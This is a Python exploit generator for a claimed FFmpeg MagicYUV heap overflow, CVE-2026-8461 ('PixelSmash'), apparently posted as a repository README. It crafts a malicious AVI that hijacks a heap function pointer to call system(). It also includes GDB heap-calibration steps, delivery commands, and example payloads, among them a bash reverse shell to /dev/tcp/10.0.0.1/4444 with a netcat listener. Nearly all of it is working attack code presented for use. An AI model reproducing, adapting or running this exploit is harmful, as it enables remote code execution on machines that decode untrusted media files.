README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-8461 (PixelSmash) — Full RCE Exploit Generator
=========================================================
Implements the complete exploit chain:
OOB Write → AVBuffer.free hijack → system() → arbitrary command execution
ARCHITECTURE:
This exploit turns a heap OOB write in FFmpeg's MagicYUV decoder into
arbitrary code execution by surgically overwriting the AVBuffer struct
that sits adjacent to the chroma plane buffer on glibc's heap.
The key technique is LEFT-PREDICTION ENCODING: MagicYUV's decoder applies
cumulative-sum prediction to raw pixel data. We must apply the INVERSE
transform to our payload bytes so that after prediction, the desired
values land at the correct heap locations.
PREREQUISITES (for RCE):
1. ASLR disabled (setarch x86_64 -R) — required for hardcoded addresses
2. glibc malloc (jemalloc breaks the heap layout)
3. Calibrated heap offsets for the target ffmpeg build + file path length
4. Vulnerable FFmpeg (without fix commits)
USAGE:
# 1. Calibration (on target machine with GDB):
python exploit_cve_2026_8461.py --calibrate > calibrate.gdb
gdb -q -x calibrate.gdb --args ffmpeg -i test.avi -f null -
# Parse the GDB output to get heap layout
# 2. Generate exploit (with calibration):
python exploit_cve_2026_8461.py --system 0x7f... --cmd "bash -c '...'"
--cb-avbuffer-off 256 --cr-topchunk-off 128 [--output exploit.avi]
# 3. Deliver to target:
ffmpeg -i exploit.avi -f null - # OOB write → RCE
REFERENCE:
https://jfrog.com/blog/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons/
"""
import struct
import sys
import os
import argparse
import json
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Tuple
# ================================================================
# Frame geometry — must match the calibration target
# ================================================================
WIDTH = 1280 # coded_width → chroma_width = 640
HEIGHT = 32 # coded_height → chroma_height allocated = 16 rows
SLICE_HEIGHT = 31 # odd → AV_CEIL_RSHIFT(31,1)=16 → 2 slices × 16 = 32 chroma rows
SLICE_WIDTH = 1280 # must equal WIDTH
FPS = 25
FORMAT_YUV420P = 0x69
PLANES = 3
NB_SLICES = (HEIGHT + SLICE_HEIGHT - 1) // SLICE_HEIGHT # = 2
HSHIFT = [0, 1, 1]
VSHIFT = [0, 1, 1]
def p32(x):
return struct.pack('<I', x)
def p16(x):
return struct.pack('<H', x)
def p64(x):
return struct.pack('<Q', x)
def u32(b, off=0):
return struct.unpack_from('<I', b, off)[0]
def u64(b, off=0):
return struct.unpack_from('<Q', b, off)[0]
def ceil_rshift(val, shift):
return -(-val >> shift)
# ================================================================
# Left-prediction encode/decode
# ================================================================
def left_pred_encode(desired: bytes) -> bytes:
"""Inverse left-prediction: produce raw bytes that decode to `desired`.
Decoder applies: dst[i] = sum(raw[0..i]) & 0xFF
We need: raw[0] = desired[0]
raw[i] = (desired[i] - desired[i-1]) & 0xFF
"""
raw = bytearray(len(desired))
raw[0] = desired[0]
for i in range(1, len(desired)):
raw[i] = (desired[i] - desired[i-1]) & 0xFF
return bytes(raw)
def left_pred_decode(raw: bytes) -> bytes:
"""Apply left-prediction (for verification)."""
decoded = bytearray(len(raw))
acc = 0
for i, b in enumerate(raw):
acc = (acc + b) & 0xFF
decoded[i] = acc
return bytes(decoded)
# ================================================================
# Calibration data
# ================================================================
@dataclass
class TargetCalibration:
"""Heap layout calibration for a specific target.
All offsets are relative to the start of the OOB write region
(i.e., one byte past the end of the Cb chroma plane buffer).
"""
# Target libc function addresses (ASLR disabled)
system_addr: int = 0x4141414141414141 # address of system() in libc
# Payload layout: OOB region byte offsets
cmd_at: int = 0 # offset where shell command string starts in OOB region
cmd_maxlen: int = 88 # available bytes for NUL-terminated command
# AVBuffer struct location (relative to OOB start)
avbuffer_at: int = 256 # offset to AVBuffer for Cb plane
# AVBuffer field offsets (within AVBuffer struct)
avb_refcount_off: int = 16 # atomic_uint refcount
avb_free_off: int = 24 # void (*free)(void*, uint8_t*)
avb_opaque_off: int = 32 # void *opaque
avb_flags_off: int = 40 # int flags
# Heap addresses (ASLR disabled, known from calibration)
cmd_heap_addr: int = 0x4242424242424242 # heap addr of command string (OOB+cmd_at)
# Glibc chunk metadata that must be preserved
# Key: absolute offset in OOB region → bytes to preserve (16-byte chunk headers)
glibc_metadata: Dict[int, bytes] = field(default_factory=dict)
# Cr plane OOB metadata to preserve
cr_metadata: Dict[int, bytes] = field(default_factory=dict)
# Additional data that must be preserved verbatim
preserve: Dict[int, bytes] = field(default_factory=dict)
def to_dict(self) -> dict:
return {
'system_addr': hex(self.system_addr),
'cmd_at': self.cmd_at,
'cmd_maxlen': self.cmd_maxlen,
'avbuffer_at': self.avbuffer_at,
'avb_refcount_off': self.avb_refcount_off,
'avb_free_off': self.avb_free_off,
'avb_opaque_off': self.avb_opaque_off,
'cmd_heap_addr': hex(self.cmd_heap_addr),
'glibc_metadata': {hex(k): v.hex() for k, v in self.glibc_metadata.items()},
'cr_metadata': {hex(k): v.hex() for k, v in self.cr_metadata.items()},
'preserve': {hex(k): v.hex() for k, v in self.preserve.items()},
}
@classmethod
def from_dict(cls, d: dict) -> 'TargetCalibration':
return cls(
system_addr=int(d['system_addr'], 16),
cmd_at=d.get('cmd_at', 0),
cmd_maxlen=d.get('cmd_maxlen', 88),
avbuffer_at=d.get('avbuffer_at', 256),
avb_refcount_off=d.get('avb_refcount_off', 16),
avb_free_off=d.get('avb_free_off', 24),
avb_opaque_off=d.get('avb_opaque_off', 32),
cmd_heap_addr=int(d.get('cmd_heap_addr', '0x4242424242424242'), 16),
glibc_metadata={int(k, 16): bytes.fromhex(v) for k, v in d.get('glibc_metadata', {}).items()},
cr_metadata={int(k, 16): bytes.fromhex(v) for k, v in d.get('cr_metadata', {}).items()},
preserve={int(k, 16): bytes.fromhex(v) for k, v in d.get('preserve', {}).items()},
)
# ================================================================
# OOB Payload builder
# ================================================================
def build_cb_oob_payload(cal: TargetCalibration, shell_cmd: str) -> bytearray:
"""Build the 640-byte OOB payload for the Cb chroma plane.
This payload is written past the Cb pixel buffer. It must:
1. Place the shell command in a zero-filled region
2. Preserve all glibc chunk metadata
3. Overwrite AVBuffer.free → system()
4. Overwrite AVBuffer.opaque → heap address of command string
5. Set AVBuffer.refcount → 1 (so decrement triggers free callback)
"""
chroma_width = ceil_rshift(WIDTH, 1) # 640
# Start with zeros as the "hole" baseline
payload = bytearray(chroma_width)
# 1. Place shell command at cmd_at (NUL-terminated)
cmd_bytes = shell_cmd.encode('latin-1') + b'\x00'
if len(cmd_bytes) > cal.cmd_maxlen:
raise ValueError(f"Command too long: {len(cmd_bytes)} > {cal.cmd_maxlen}")
payload[cal.cmd_at:cal.cmd_at + len(cmd_bytes)] = cmd_bytes
# 2. Preserve glibc chunk metadata
for off, data in cal.glibc_metadata.items():
if off + len(data) <= chroma_width:
payload[off:off + len(data)] = data
# 3. Overwrite AVBuffer fields
avb = cal.avbuffer_at
# AVBuffer.refcount → 1 (uint32)
if avb + cal.avb_refcount_off + 4 <= chroma_width:
struct.pack_into('<I', payload, avb + cal.avb_refcount_off, 1)
# AVBuffer.free → system() (uint64)
if avb + cal.avb_free_off + 8 <= chroma_width:
struct.pack_into('<Q', payload, avb + cal.avb_free_off, cal.system_addr)
# AVBuffer.opaque → command string heap address (uint64)
if avb + cal.avb_opaque_off + 8 <= chroma_width:
struct.pack_into('<Q', payload, avb + cal.avb_opaque_off, cal.cmd_heap_addr)
# 4. Apply other preserved data
for off, data in cal.preserve.items():
if off + len(data) <= chroma_width:
payload[off:off + len(data)] = data
return payload
def build_cr_oob_payload(cal: TargetCalibration) -> bytearray:
"""Build the OOB payload for the Cr chroma plane.
The Cr plane OOB write lands on different heap region (typically
tcache entries and the glibc top chunk). Must preserve top chunk
metadata or system()'s internal malloc will fail.
If no calibration data for Cr, fill with zeros (worst case: crash).
"""
chroma_width = ceil_rshift(WIDTH, 1) # 640
payload = bytearray(chroma_width)
for off, data in cal.cr_metadata.items():
if off + len(data) <= chroma_width:
payload[off:off + len(data)] = data
return payload
# ================================================================
# MagicYUV frame builder
# ================================================================
def build_exploit_frame(cal: TargetCalibration, shell_cmd: str,
num_frame: int = 0) -> bytes:
"""Build a single MagicYUV frame with the exploit payload.
Frame structure:
Slice 0 (in-bounds): zeroed chroma data (so acc=0 for prediction)
Slice 1 (OOB): left-prediction-encoded exploit payload
"""
chroma_width = ceil_rshift(WIDTH, 1) # 640
# Build OOB payloads
cb_payload = build_cb_oob_payload(cal, shell_cmd)
cr_payload = build_cr_oob_payload(cal)
# Apply INVERSE left-prediction so that after decoder's prediction,
# the correct bytes land on the heap
cb_raw = left_pred_encode(bytes(cb_payload))
cr_raw = left_pred_encode(bytes(cr_payload))
# Build Huffman table: all 256 symbols = 8-bit codes (valid, minimal, unused in raw mode)
huff_table = b''
for _ in range(PLANES):
huff_table += bytes([0x88, 0xFF])
# Per-plane per-slice dimensions
# Plane 0 (Y): vshift=0, hshift=0
# Plane 1 (U/Cb): vshift=1, hshift=1
# Plane 2 (V/Cr): vshift=1, hshift=1
plane_configs = [
# (hshift, vshift, width, sheight)
(0, 0, WIDTH, ceil_rshift(SLICE_HEIGHT, 0)),
(1, 1, chroma_width, ceil_rshift(SLICE_HEIGHT, 1)),
(1, 1, chroma_width, ceil_rshift(SLICE_HEIGHT, 1)),
]
all_plane_slices = [] # [plane][slice] = bytes
slice_sizes = [] # [plane][slice] = int
for plane in range(PLANES):
hshift, vshift, pw, psheight = plane_configs[plane]
plane_slices = []
plane_sizes = []
for sl in range(NB_SLICES):
remaining = HEIGHT - sl * SLICE_HEIGHT
height = ceil_rshift(min(SLICE_HEIGHT, remaining), vshift)
# flags=1 (raw), pred=1 (LEFT)
header = bytes([1, 1])
if sl == 0:
# In-bounds slice: zero all pixel data
# This ensures left-prediction acc starts at 0 for the OOB slice
raw_data = b'\x00' * (pw * height)
elif plane == 0:
# Y plane: in-bounds (vshift=0, no OOB for Y)
raw_data = b'\x00' * (pw * height)
elif plane == 1:
# U/Cb plane: OOB slice! Use encoded payload
raw_data = cb_raw[:pw * height]
else:
# V/Cr plane: OOB slice! Use encoded payload
raw_data = cr_raw[:pw * height]
slice_bytes = header + raw_data
plane_slices.append(slice_bytes)
plane_sizes.append(len(slice_bytes))
all_plane_slices.append(plane_slices)
slice_sizes.append(plane_sizes)
# Compute cumulative offsets in slice data region
cum = 0
slice_offsets = [] # [plane][slice] = offset
for plane in range(PLANES):
po = []
for sl in range(NB_SLICES):
po.append(cum)
cum += slice_sizes[plane][sl]
slice_offsets.append(po)
# Concatenate all slice data
all_slice_data = b''
for plane in range(PLANES):
for sl in range(NB_SLICES):
all_slice_data += all_plane_slices[plane][sl]
# Assemble bitstream
fixed_header_size = 36
offset_table_size = NB_SLICES * PLANES * 4 # 24
verif_size = 1
skip_size = NB_SLICES * PLANES # 6
huff_size = len(huff_table) # 6
header_size = (fixed_header_size + offset_table_size +
verif_size + skip_size + huff_size)
# Offset table
offset_bytes = b''
for plane in range(PLANES):
for sl in range(NB_SLICES):
offset_bytes += p32(slice_offsets[plane][sl])
post_offset = bytes([PLANES]) + b'\x00' * skip_size
# Fixed header (36 bytes)
header_part = bytearray()
header_part += b'MAGY'
header_part += p32(header_size)
header_part += bytes([7]) # version = 7
header_part += bytes([FORMAT_YUV420P]) # format
header_part += b'\x00' # skip
header_part += b'\x00' # color_matrix
header_part += b'\x00' # flags (bit 1 = 0 → not interlaced)
header_part += b'\x00\x00\x00' # skip 3
header_part += p32(WIDTH)
header_part += p32(HEIGHT)
header_part += p32(SLICE_WIDTH)
header_part += p32(SLICE_HEIGHT) # ← triggers OOB
header_part += b'\x00\x00\x00\x00' # skip 4
assert len(header_part) == fixed_header_size
frame = (bytes(header_part) + offset_bytes + post_offset +
huff_table + all_slice_data)
assert len(frame) == header_size + len(all_slice_data)
return frame
# ================================================================
# AVI container builder
# ================================================================
def build_avi(frames: List[bytes]) -> bytes:
"""Wrap exploit frames in an AVI container."""
n = len(frames)
fsz = len(frames[0])
# BITMAPINFOHEADER
bmih = bytearray()
bmih += p32(40) + p32(WIDTH) + p32(HEIGHT)
bmih += p16(1) + p16(24)
bmih += b'MAGY' + p32(fsz) + p32(0) * 4
# Stream header
strh = bytearray()
strh += b'vids' + b'MAGY'
strh += p32(0) + p16(0) + p16(0) + p32(0) # flags, prio, lang, init_frames
strh += p32(1) + p32(FPS) # scale, rate
strh += p32(0) + p32(n) # start, length
strh += p32(fsz) + p32(0xFFFFFFFF) + p32(0) # buf_size, quality, sample_size
strh += p16(0) + p16(0) + p16(WIDTH) + p16(HEIGHT)
# Main AVI header
avih = bytearray()
avih += p32(int(1000000 / FPS)) # usec_per_frame
avih += p32(0) * 3 # max_bytes, padding, flags
avih += p32(n) # total_frames
avih += p32(0) + p32(1) # init_frames, streams
avih += p32(fsz) # buf_size
avih += p32(WIDTH) + p32(HEIGHT)
avih += p32(0) * 4
def riff_chunk(fcc, data):
c = fcc + p32(len(data)) + data
if len(data) & 1:
c += b'\x00'
return c
def list_chunk(fcc, lt, data):
return riff_chunk(fcc, lt + data)
# Build hierarchy
strf_c = riff_chunk(b'strf', bytes(bmih))
strl_l = list_chunk(b'LIST', b'strl', riff_chunk(b'strh', bytes(strh)) + strf_c)
hdrl_l = list_chunk(b'LIST', b'hdrl', riff_chunk(b'avih', bytes(avih)) + strl_l)
# Movie data + index
movi_data = b''
idx1 = b''
offset = 0
for f in frames:
chunk = riff_chunk(b'00dc', f)
idx1 += b'00dc' + p32(0x10) + p32(offset + 8) + p32(len(f))
movi_data += chunk
offset += len(chunk)
movi_l = list_chunk(b'LIST', b'movi', movi_data)
idx1_c = riff_chunk(b'idx1', idx1)
return riff_chunk(b'RIFF', b'AVI ' + hdrl_l + movi_l + idx1_c)
# ================================================================
# GDB calibration script generator
# ================================================================
GDB_CALIBRATE_SCRIPT = """\
# GDB calibration script for CVE-2026-8461 exploit
# Run: gdb -q -x this_script.gdb --args ffmpeg -i POC_FILE -f null -
#
# This script captures the heap layout at the OOB write point to determine
# exact offsets for glibc metadata and AVBuffer placement.
set pagination off
set confirm off
# Set the path to the POC file (must match target file path length!)
set $pocfile = "{poc_file}"
# Breakpoint at the OOB write location
# bytestream_get_buffer is called at magicyuv.c:293 for the raw-mode copy
break bytestream_get_buffer
condition 1 $_regex((char*)$rdi, ".*")
# Alternative: break right before the OOB slice decode
# Break at the start of magy_decode_slice, check if j==1 (second slice)
break magy_decode_slice
condition 2 $rdx == 1
commands 2
silent
set $plane = $rcx
printf "=== Slice %d Plane %d ===\\n", $rdx, $plane
# For plane 1 (Cb), capture the heap layout
if $plane == 1
set $cb_end = $rdi
printf "Cb buffer end: %p\\n", $cb_end
# Dump 640 bytes past buffer end
x/160gx $cb_end
end
if $plane == 2
set $cr_end = $rdi
printf "Cr buffer end: %p\\n", $cr_end
x/160gx $cr_end
end
continue
end
# Also break before av_buffer_unref to confirm overwrite worked
break av_buffer_unref
commands 3
silent
printf "=== av_buffer_unref called ===\\n"
printf "buf->data: %p\\n", ((AVBuffer*)$rdi)->data
printf "buf->free: %p\\n", ((AVBuffer*)$rdi)->free
printf "buf->opaque: %p\\n", ((AVBuffer*)$rdi)->opaque
printf "buf->refcount: %d\\n", ((AVBuffer*)$rdi)->refcount
continue
end
run
quit
"""
def print_calibrate_help():
print("""
=== GDB Heap Calibration Procedure ===
1. BUILD A BASELINE POC:
python exploit_cve_2026_8461.py --baseline -o baseline.avi
2. ON THE TARGET (Linux with ASLR disabled):
# Break before the OOB write to dump heap layout
gdb -q --args ffmpeg -i baseline.avi -f null -
(gdb) break magy_decode_slice if j == 1
(gdb) run
# When breakpoint hits for Cb plane (plane == 1):
(gdb) info registers rdi
# $rdi points to the current write destination (OOB start)
(gdb) x/80gx $rdi-0x100
# This shows the heap from 256 bytes before OOB start
3. IDENTIFY KEY STRUCTURES:
Look for the AVBuffer struct in the heap dump:
- AVBuffer.data: pointer to a heap address (the Cb plane data)
- AVBuffer.size: small value like 0x2000-0x3000
- AVBuffer.refcount: usually 1
- AVBuffer.free: function pointer (points into libavutil.so)
The AVBuffer is typically 256 bytes past the Cb plane end.
Record its offset relative to OOB start.
4. FIND glibc METADATA:
glibc malloc_chunk headers are 16 bytes:
[prev_size:8][size:8]
Size's low bit = PREV_INUSE flag.
Record the EXACT bytes and offsets of all chunk headers in the OOB range.
5. FIND system() ADDRESS:
(gdb) print system
Record &system (e.g., 0x7ffff7a5d290)
6. CREATE CALIBRATION FILE (calibration.json):
{
"system_addr": "0x7ffff7a5d290",
"cmd_at": 0,
"cmd_maxlen": 88,
"avbuffer_at": 256,
"avb_refcount_off": 16,
"avb_free_off": 24,
"avb_opaque_off": 32,
"cmd_heap_addr": "0x5555555XXXXX",
"glibc_metadata": {
"0x58": "hex bytes of chunk header at OOB+0x58",
"0xf8": "hex bytes of chunk header at OOB+0xf8"
},
"cr_metadata": {
"0x20": "hex bytes of tcache entry",
"0x30": "hex bytes of top chunk header"
}
}
7. GENERATE EXPLOIT:
python exploit_cve_2026_8461.py --calibration calibration.json
--cmd "bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'"
-o exploit.avi
""")
# ================================================================
# Main
# ================================================================
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-8461 (PixelSmash) RCE Exploit Generator',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Generate baseline POC (OOB write only, no payload)
%(prog)s --baseline -o baseline.avi
# Generate RCE exploit with calibration
%(prog)s --calibration calib.json \\
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \\
-o exploit.avi
# Quick RCE with inline parameters (ASLR must be disabled)
%(prog)s --system 0x7ffff7a5d290 --cmd-heap 0x555555560000 \\
--cmd "id > /tmp/pwned" -o exploit.avi
# Print calibration guide
%(prog)s --calibrate
""")
# Output
parser.add_argument('-o', '--output', default='exploit_cve_2026_8461.avi')
# Calibration
parser.add_argument('--calibration', '-c', help='JSON calibration file')
parser.add_argument('--calibrate', action='store_true',
help='Print GDB calibration guide')
# Inline calibration overrides
parser.add_argument('--system', help='Address of system() in libc')
parser.add_argument('--cmd-heap', help='Heap address of command string')
parser.add_argument('--avbuffer-off', type=int, default=256,
help='Offset to AVBuffer from OOB start (default: 256)')
# Payload
parser.add_argument('--cmd', default='id > /dev/stderr',
help='Shell command to execute (default: "id > /dev/stderr")')
parser.add_argument('--frames', type=int, default=1,
help='Number of frames (each triggers RCE independently)')
# Baseline mode
parser.add_argument('--baseline', action='store_true',
help='Generate baseline POC (OOB write only, no RCE payload)')
args = parser.parse_args()
# Calibration guide
if args.calibrate:
print_calibrate_help()
return
# Baseline mode
if args.baseline:
print("[*] Generating baseline OOB-write POC (no RCE payload)")
cal = TargetCalibration() # dummy
shell_cmd = 'BASELINE'
elif args.calibration:
with open(args.calibration) as f:
cal = TargetCalibration.from_dict(json.load(f))
shell_cmd = args.cmd
else:
# Build calibration from CLI args
cal = TargetCalibration()
if args.system:
cal.system_addr = int(args.system, 16)
if args.cmd_heap:
cal.cmd_heap_addr = int(args.cmd_heap, 16)
cal.avbuffer_at = args.avbuffer_off
shell_cmd = args.cmd
print("[!] Using inline calibration parameters")
print(f" system() = {hex(cal.system_addr)}")
print(f" cmd_heap = {hex(cal.cmd_heap_addr)}")
print(f" avbuffer_at = {cal.avbuffer_at}")
print("[!] Ensure ASLR is disabled and glibc metadata is preserved")
if not args.calibration:
print("[!] WARNING: No glibc metadata calibration provided!")
print("[!] The exploit will likely crash before RCE without proper calibration.")
print("[!] Use --calibrate for instructions or --calibration with a JSON file.")
# Build frames
print(f"[*] Building {args.frames} exploit frame(s)...")
frames = []
for i in range(args.frames):
frame = build_exploit_frame(cal, shell_cmd, num_frame=i)
frames.append(frame)
# Wrap in AVI
avi = build_avi(frames)
dur = args.frames / FPS
print(f"[*] Frame size: {len(frames[0])} bytes")
print(f"[*] AVI size: {len(avi)} bytes ({len(avi)/1024:.1f} KB)")
print(f"[*] Duration: {dur:.2f}s ({args.frames} frames @ {FPS} fps)")
print(f"[*] Command: {shell_cmd}")
with open(args.output, 'wb') as f:
f.write(avi)
print(f"[+] Exploit written: {args.output}")
print()
print("Delivery:")
print(f" ffmpeg -i {args.output} -f null -")
print()
if args.baseline:
print("Baseline mode: OOB write fires but no AVBuffer hijack.")
print("Expected: heap-buffer-overflow (ASAN) / crash / silent corruption")
else:
print("RCE mode: AVBuffer.free → system(cmd) on frame cleanup.")
print("Expected: shell command executes, then process crashes.")
print("Monitor: nc -l <PORT> (for reverse shell payloads)")
if __name__ == '__main__':
main()